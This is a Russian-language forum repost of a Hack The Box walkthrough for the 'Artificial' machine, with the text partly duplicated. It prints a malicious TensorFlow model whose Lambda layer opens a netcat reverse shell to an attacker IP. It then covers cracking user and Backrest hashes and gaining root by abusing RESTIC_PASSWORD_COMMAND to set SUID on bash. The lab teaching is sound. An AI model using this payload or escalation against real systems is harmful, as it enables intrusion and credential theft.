stihl не предоставил(а) никакой дополнительной информации.
Сегодня я продемонстрирую эксплуатацию уязвимости в популярной библиотеке TensorFlow. Это позволит нам исполнять команды на сервере, чем мы и воспользуемся, чтобы получить учетные данные, а затем повысить привилегии через оболочку Backrest для restic backup.
Наша цель — получение прав суперпользователя на машине Artificial с учебной площадки Hack The Box. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
Форма загрузки файлов
Эта форма служит для загрузки модели ИИ. Чтобы создать необходимое окружение для сборки модели, нам предоставляют файл requirements, а также готовый Dockerfile.
Содержимое файла requirements.txt
Содержимое Dockerfile
В requirements.txt указана версия пакета tensorflow-cpu для Python. Первым делом стоит проверить, есть ли для этой версии библиотеки готовые эксплоиты. Обычно достаточно просто поискать в Google.
Поиск эксплоитов в Google
Вторая ссылка ведет на ресерч Для просмотра ссылки Войдиили Зарегистрируйся, где как раз и описывается вариант выполнения произвольного кода при загрузке собственной модели.
Вот код самого шелла:
В каталоге с Dockerfile развернем необходимый образ с именем artificial-htb.
Создание образа Docker
Затем запустим контейнер Docker и подмонтируем текущий каталог как каталог /expl внутри контейнера. Запустим указанный выше код для создания файла модели.
Создание файла модели
Теперь на своей машине запускаем листенер pwncat-cs:
И загружаем файл на сайт. Когда файл будет обработан, мы моментально получим сессию pwncat в контексте учетной записи app.
Загрузка файла на сервер
Сессия в контексте app
Содержимое каталога instance
Чтобы скачать файл с удаленного сервера с помощью pwncat-cs, сначала комбинацией Ctrl-D выходи в главное меню программы, затем используй команду download [file] для переноса файла и командой back возвращайся обратно в сессию командной оболочки.
Скачивание файла базы данных
Открываем файл базы данных в Для просмотра ссылки Войдиили Зарегистрируйся и находим таблицу user, в которой есть пять пар учетных данных.
Содержимое базы данных
Отправляем хеши на поиск в базе Для просмотра ссылки Войдиили Зарегистрируйся и из пяти хешей получаем два пароля.
Результат подбора паролей
Пользователь gael есть в системе, поэтому пробуем авторизоваться по SSH с его паролем и после получения сессии захватываем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, поищем важные для нас вещи.
Для локального хоста прослушивается порт 9898.
Прослушиваемые порты
На сервере есть файл базы данных с бэкапом /var/backups/backrest_backup.tar.gz.
Найденные файлы базы данных
Посмотрим на архив с резервной копией. Для этого скопируем его в каталог /tmp и извлечем все файлы.
Содержимое архива
Backrest — это решение для резервного копирования, созданное на основе restic. Backrest предоставляет веб‑интерфейс, который является оболочкой для restic CLI и упрощает создание репозиториев, просмотр снимков и восстановление файлов. В файле конфигураций Backrest хранится логин администратора и закодированный хеш пароля.
Содержимое файла config.json
Декодируем из Base64 и отправляем хеш на перебор в hashcat.
Декодирование хеша
Результат подбора пароля
Теперь у нас есть учетные данные для Backrest, но, чтобы получить доступ к системе, нужно будет прокинуть порт 9898 на свой хост с помощью SSH.
Теперь весь трафик, который мы пошлем на локальный порт 9898, будет туннелирован на порт 9898 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Можем обратиться к сервису через браузер.
Главная страница сайта
Авторизуемся и попробуем создать новый репозиторий restic. При создании мы можем установить значение переменных окружения, например RESTIC_PASSWORD_COMMAND — для выполнения команды bash -c 'chmod u+s /bin/bash'.
Параметры репозитория
После этого запустим тестирование конфига, что приведет к выполнению нашей команды от имени пользователя root.
Тестовый запуск
В выполненной команде мы назначили S-бит файлу командной оболочки.
Проверка атрибутов файла
Это позволяет нам получить сессию от имени root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Artificial с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.74 artificial.htbИ запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0.
Точка входа
На сайте можно зарегистрироваться — обязательно сделаем это, чтобы увеличить поверхность атаки. На главной странице авторизованного пользователя нас встретит форма загрузки файлов.
Эта форма служит для загрузки модели ИИ. Чтобы создать необходимое окружение для сборки модели, нам предоставляют файл requirements, а также готовый Dockerfile.
В requirements.txt указана версия пакета tensorflow-cpu для Python. Первым делом стоит проверить, есть ли для этой версии библиотеки готовые эксплоиты. Обычно достаточно просто поискать в Google.
Вторая ссылка ведет на ресерч Для просмотра ссылки Войди
Точка опоры
Первым делом, как советует ресерч, подготовим код для создания модели. В функции expl через os.system будем запускать реверс‑шелл:rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 4321 >/tmp/fВот код самого шелла:
Код:
import tensorflow as tf
def expl(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 4321 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(expl))
model.compile()
model.save("expl.h5")
В каталоге с Dockerfile развернем необходимый образ с именем artificial-htb.
sudo docker build -t artificial-htb .
Затем запустим контейнер Docker и подмонтируем текущий каталог как каталог /expl внутри контейнера. Запустим указанный выше код для создания файла модели.
docker run -it --rm -v "$PWD":/expl -w /expl artificial-htb
Теперь на своей машине запускаем листенер pwncat-cs:
pwncat-cs -lp 4321Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».И загружаем файл на сайт. Когда файл будет обработан, мы моментально получим сессию pwncat в контексте учетной записи app.
Продвижение
Для изменения контекста работы нам нужно поискать учетные данные. Так как на хосте развернут сайт с регистрацией и аутентификацией, то первое наше действие — это поиск учетных данных пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В каталоге веб‑сайта находим файл users.db.
Чтобы скачать файл с удаленного сервера с помощью pwncat-cs, сначала комбинацией Ctrl-D выходи в главное меню программы, затем используй команду download [file] для переноса файла и командой back возвращайся обратно в сессию командной оболочки.
Открываем файл базы данных в Для просмотра ссылки Войди
Отправляем хеши на поиск в базе Для просмотра ссылки Войди
Пользователь gael есть в системе, поэтому пробуем авторизоваться по SSH с его паролем и после получения сессии захватываем первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, поищем важные для нас вещи.
Для локального хоста прослушивается порт 9898.
На сервере есть файл базы данных с бэкапом /var/backups/backrest_backup.tar.gz.
Посмотрим на архив с резервной копией. Для этого скопируем его в каталог /tmp и извлечем все файлы.
Код:
cp /var/backups/backrest_backup.tar.gz /tmp/
cd /tmp
tar xf backrest_backup.tar.gz
cd backrest/
Backrest — это решение для резервного копирования, созданное на основе restic. Backrest предоставляет веб‑интерфейс, который является оболочкой для restic CLI и упрощает создание репозиториев, просмотр снимков и восстановление файлов. В файле конфигураций Backrest хранится логин администратора и закодированный хеш пароля.
Декодируем из Base64 и отправляем хеш на перебор в hashcat.
hashcat -m 3200 hash rockyou.txt
Теперь у нас есть учетные данные для Backrest, но, чтобы получить доступ к системе, нужно будет прокинуть порт 9898 на свой хост с помощью SSH.
ssh [EMAIL]gael@artificial.htb[/EMAIL] -L 9898:127.0.0.1:9898Теперь весь трафик, который мы пошлем на локальный порт 9898, будет туннелирован на порт 9898 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Можем обратиться к сервису через браузер.
Авторизуемся и попробуем создать новый репозиторий restic. При создании мы можем установить значение переменных окружения, например RESTIC_PASSWORD_COMMAND — для выполнения команды bash -c 'chmod u+s /bin/bash'.
После этого запустим тестирование конфига, что приведет к выполнению нашей команды от имени пользователя root.
В выполненной команде мы назначили S-бит файлу командной оболочки.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Это позволяет нам получить сессию от имени root.
Машина захвачена!
